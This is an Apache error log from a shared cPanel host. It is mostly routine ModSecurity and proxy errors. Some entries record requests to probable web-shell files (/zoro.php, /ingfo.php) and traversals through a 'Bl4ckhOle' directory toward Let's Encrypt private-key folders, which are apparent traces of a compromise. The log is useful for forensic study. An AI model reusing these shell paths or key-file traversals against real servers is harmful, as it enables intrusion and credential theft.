[Fri Jul 17 08:40:11.913557 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdExAi3pC6yjXGNq1-kAAAAAU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:40:15.335117 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:40:20.996007 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:39048] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:40:21.104447 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:40:21.125056 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:40:22.752260 2026] [security2:error] [pid 2018770:tid 2018770] [client 155.133.27.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-admin/includes/class-language-pack-upgrader-skin.php"] [unique_id "almdHi0HS8lGbZyK8qt1BQAAACM"]
[Fri Jul 17 08:40:22.752309 2026] [security2:error] [pid 2018770:tid 2018770] [client 155.133.27.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-admin/includes/class-language-pack-upgrader-skin.php"] [unique_id "almdHi0HS8lGbZyK8qt1BQAAACM"]
[Fri Jul 17 08:40:23.504403 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:33912] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:40:24.113675 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:33928] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:40:24.231860 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:40:24.406919 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:40:26.653776 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:40:27.132828 2026] [core:crit] [pid 2018764:tid 2018764] (13)Permission denied: [client 57.141.18.86:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/self/cwd/etc/letsencrypt/keys/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/self/cwd/etc/letsencrypt/keys/' is executable
[Fri Jul 17 08:40:27.132948 2026] [core:crit] [pid 2018764:tid 2018764] (13)Permission denied: [client 57.141.18.86:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/self/cwd/etc/letsencrypt/archive/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/self/cwd/etc/letsencrypt/archive/' is executable
[Fri Jul 17 08:40:27.133018 2026] [core:crit] [pid 2018764:tid 2018764] (13)Permission denied: [client 57.141.18.86:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/self/cwd/etc/letsencrypt/accounts/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/self/cwd/etc/letsencrypt/accounts/' is executable
[Fri Jul 17 08:40:27.133820 2026] [core:crit] [pid 2018764:tid 2018764] (13)Permission denied: [client 57.141.18.86:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/self/cwd/etc/letsencrypt/live/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/self/cwd/etc/letsencrypt/live/' is executable
[Fri Jul 17 08:40:30.160471 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:34056] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:40:30.160613 2026] [security2:error] [pid 2018758:tid 2018758] [client 57.141.18.72:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory133/subsystem/devices/memory11/subsystem/devices/memory98/node0/memory14/node0/memory96/valid_zones"] [unique_id "almdJoRpm5MObcED3Q9quQAAABE"]
[Fri Jul 17 08:40:30.160631 2026] [security2:error] [pid 2018758:tid 2018758] [client 57.141.18.72:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory133/subsystem/devices/memory11/subsystem/devices/memory98/node0/memory14/node0/memory96/valid_zones"] [unique_id "almdJoRpm5MObcED3Q9quQAAABE"]
[Fri Jul 17 08:40:30.969436 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:40:33.169585 2026] [proxy_fcgi:error] [pid 2018767:tid 2018767] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:33.332292 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:33.687375 2026] [proxy_fcgi:error] [pid 2018764:tid 2018764] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:34.207082 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:34.805081 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:34.987444 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:35.160465 2026] [proxy_fcgi:error] [pid 1993574:tid 1993574] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:35.160942 2026] [security2:error] [pid 1993574:tid 1993574] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-global": Permission denied [hostname "ksoft.lk"] [uri "/zoro.php"] [unique_id "almdK90t9Kb_MdNxrg7ARwAAAAM"]
[Fri Jul 17 08:40:35.160971 2026] [security2:error] [pid 1993574:tid 1993574] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-ip": Permission denied [hostname "ksoft.lk"] [uri "/zoro.php"] [unique_id "almdK90t9Kb_MdNxrg7ARwAAAAM"]
[Fri Jul 17 08:40:35.322870 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:35.773538 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:35.976960 2026] [proxy_fcgi:error] [pid 2014256:tid 2014256] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:36.142908 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:36.471179 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:36.683536 2026] [proxy_fcgi:error] [pid 1993574:tid 1993574] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:36.846823 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:37.020653 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:37.183669 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:37.398668 2026] [proxy_fcgi:error] [pid 2014256:tid 2014256] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:37.593650 2026] [proxy_fcgi:error] [pid 2018767:tid 2018767] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:37.790783 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:37.955788 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:38.119561 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdLt0t9Kb_MdNxrg7ASQAAAAM"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:40:38.119604 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdLt0t9Kb_MdNxrg7ASQAAAAM"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:40:38.120998 2026] [proxy_fcgi:error] [pid 2018758:tid 2018758] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:38.356446 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:38.567885 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:38.756588 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:39.073939 2026] [proxy_fcgi:error] [pid 2014256:tid 2014256] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:39.199063 2026] [security2:error] [pid 1993619:tid 1993619] [client 47.82.51.136:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/usr/lib64/python3.12/wsgiref/__pycache__/validate.cpython-312.pyc"] [unique_id "almdL41dLClkUfK_dfHjIwAAAAI"]
[Fri Jul 17 08:40:39.199104 2026] [security2:error] [pid 1993619:tid 1993619] [client 47.82.51.136:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/usr/lib64/python3.12/wsgiref/__pycache__/validate.cpython-312.pyc"] [unique_id "almdL41dLClkUfK_dfHjIwAAAAI"]
[Fri Jul 17 08:40:39.290897 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:39.474536 2026] [proxy_fcgi:error] [pid 1993574:tid 1993574] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:39.651232 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:39.843660 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:40.201510 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:40.367458 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:40.532420 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:40.723944 2026] [proxy_fcgi:error] [pid 2015125:tid 2015125] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:40.946064 2026] [proxy_fcgi:error] [pid 1993574:tid 1993574] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:41.469886 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:41.638290 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:41.986595 2026] [proxy_fcgi:error] [pid 2015125:tid 2015125] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:42.510279 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:42.700602 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:42.888793 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:43.275233 2026] [proxy_fcgi:error] [pid 2018764:tid 2018764] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:43.446627 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:43.616422 2026] [proxy_fcgi:error] [pid 2018770:tid 2018770] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:43.780679 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:43.965607 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:44.147539 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:44.323170 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:44.509980 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:44.701488 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:44.892843 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:45.083635 2026] [proxy_fcgi:error] [pid 1993574:tid 1993574] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:45.265106 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:45.443283 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:45.605393 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:45.772430 2026] [proxy_fcgi:error] [pid 2015125:tid 2015125] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:45.974052 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:46.150915 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:46.322620 2026] [proxy_fcgi:error] [pid 2018758:tid 2018758] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:49.069575 2026] [proxy_fcgi:error] [pid 2018767:tid 2018767] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:49.396835 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:49.574251 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:49.751851 2026] [proxy_fcgi:error] [pid 2018764:tid 2018764] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:49.917688 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:50.099796 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:50.272528 2026] [proxy_fcgi:error] [pid 2018767:tid 2018767] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:50.447431 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:50.630180 2026] [proxy_fcgi:error] [pid 1993574:tid 1993574] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:50.826002 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:50.993754 2026] [proxy_fcgi:error] [pid 2018764:tid 2018764] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:51.159473 2026] [proxy_fcgi:error] [pid 2018758:tid 2018758] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:51.334535 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:51.404039 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:50772] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:40:51.501387 2026] [proxy_fcgi:error] [pid 2018767:tid 2018767] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:51.665757 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:51.666283 2026] [security2:error] [pid 2013809:tid 2013809] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-global": Permission denied [hostname "ksoft.lk"] [uri "/ingfo.php"] [unique_id "almdO0gVnBK6wAv37w6qTgAAABQ"]
[Fri Jul 17 08:40:51.666307 2026] [security2:error] [pid 2013809:tid 2013809] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-ip": Permission denied [hostname "ksoft.lk"] [uri "/ingfo.php"] [unique_id "almdO0gVnBK6wAv37w6qTgAAABQ"]
[Fri Jul 17 08:40:51.828319 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:51.992544 2026] [proxy_fcgi:error] [pid 2015125:tid 2015125] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:52.155395 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:52.337907 2026] [proxy_fcgi:error] [pid 2014256:tid 2014256] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:52.511113 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:52.603064 2026] [security2:error] [pid 2018767:tid 2018767] [client 57.141.18.74:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory112/node0/memory52/node0/memory105/"] [unique_id "almdPKquHSHoCJK_V0R_MwAAABs"]
[Fri Jul 17 08:40:52.603107 2026] [security2:error] [pid 2018767:tid 2018767] [client 57.141.18.74:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory112/node0/memory52/node0/memory105/"] [unique_id "almdPKquHSHoCJK_V0R_MwAAABs"]
[Fri Jul 17 08:40:52.677019 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:52.846011 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:53.028365 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:53.209586 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:50858] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:40:53.212026 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:53.380592 2026] [proxy_fcgi:error] [pid 2014256:tid 2014256] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:53.561261 2026] [proxy_fcgi:error] [pid 2018770:tid 2018770] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:53.562403 2026] [security2:error] [pid 2018770:tid 2018770] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-global": Permission denied [hostname "ksoft.lk"] [uri "/122.php"] [unique_id "almdPS0HS8lGbZyK8qt1FwAAACM"]
[Fri Jul 17 08:40:53.562433 2026] [security2:error] [pid 2018770:tid 2018770] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-ip": Permission denied [hostname "ksoft.lk"] [uri "/122.php"] [unique_id "almdPS0HS8lGbZyK8qt1FwAAACM"]
[Fri Jul 17 08:40:53.727795 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:53.891201 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:54.055767 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:54.235580 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:54.304514 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:40:54.404993 2026] [proxy_fcgi:error] [pid 2018764:tid 2018764] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:54.567976 2026] [proxy_fcgi:error] [pid 2014256:tid 2014256] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:54.782144 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:54.965916 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:55.130584 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:55.293932 2026] [proxy_fcgi:error] [pid 2018767:tid 2018767] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:55.467636 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:55.640058 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:55.812825 2026] [proxy_fcgi:error] [pid 2018764:tid 2018764] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:55.976009 2026] [proxy_fcgi:error] [pid 2014256:tid 2014256] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:56.147905 2026] [proxy_fcgi:error] [pid 2018770:tid 2018770] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:56.626014 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:50996] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:40:57.293171 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:57.457290 2026] [proxy_fcgi:error] [pid 2014256:tid 2014256] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:57.620442 2026] [proxy_fcgi:error] [pid 2018770:tid 2018770] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:57.820511 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:57.982868 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:58.175980 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:58.526925 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:58.709639 2026] [proxy_fcgi:error] [pid 2018764:tid 2018764] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:58.872204 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:59.058985 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
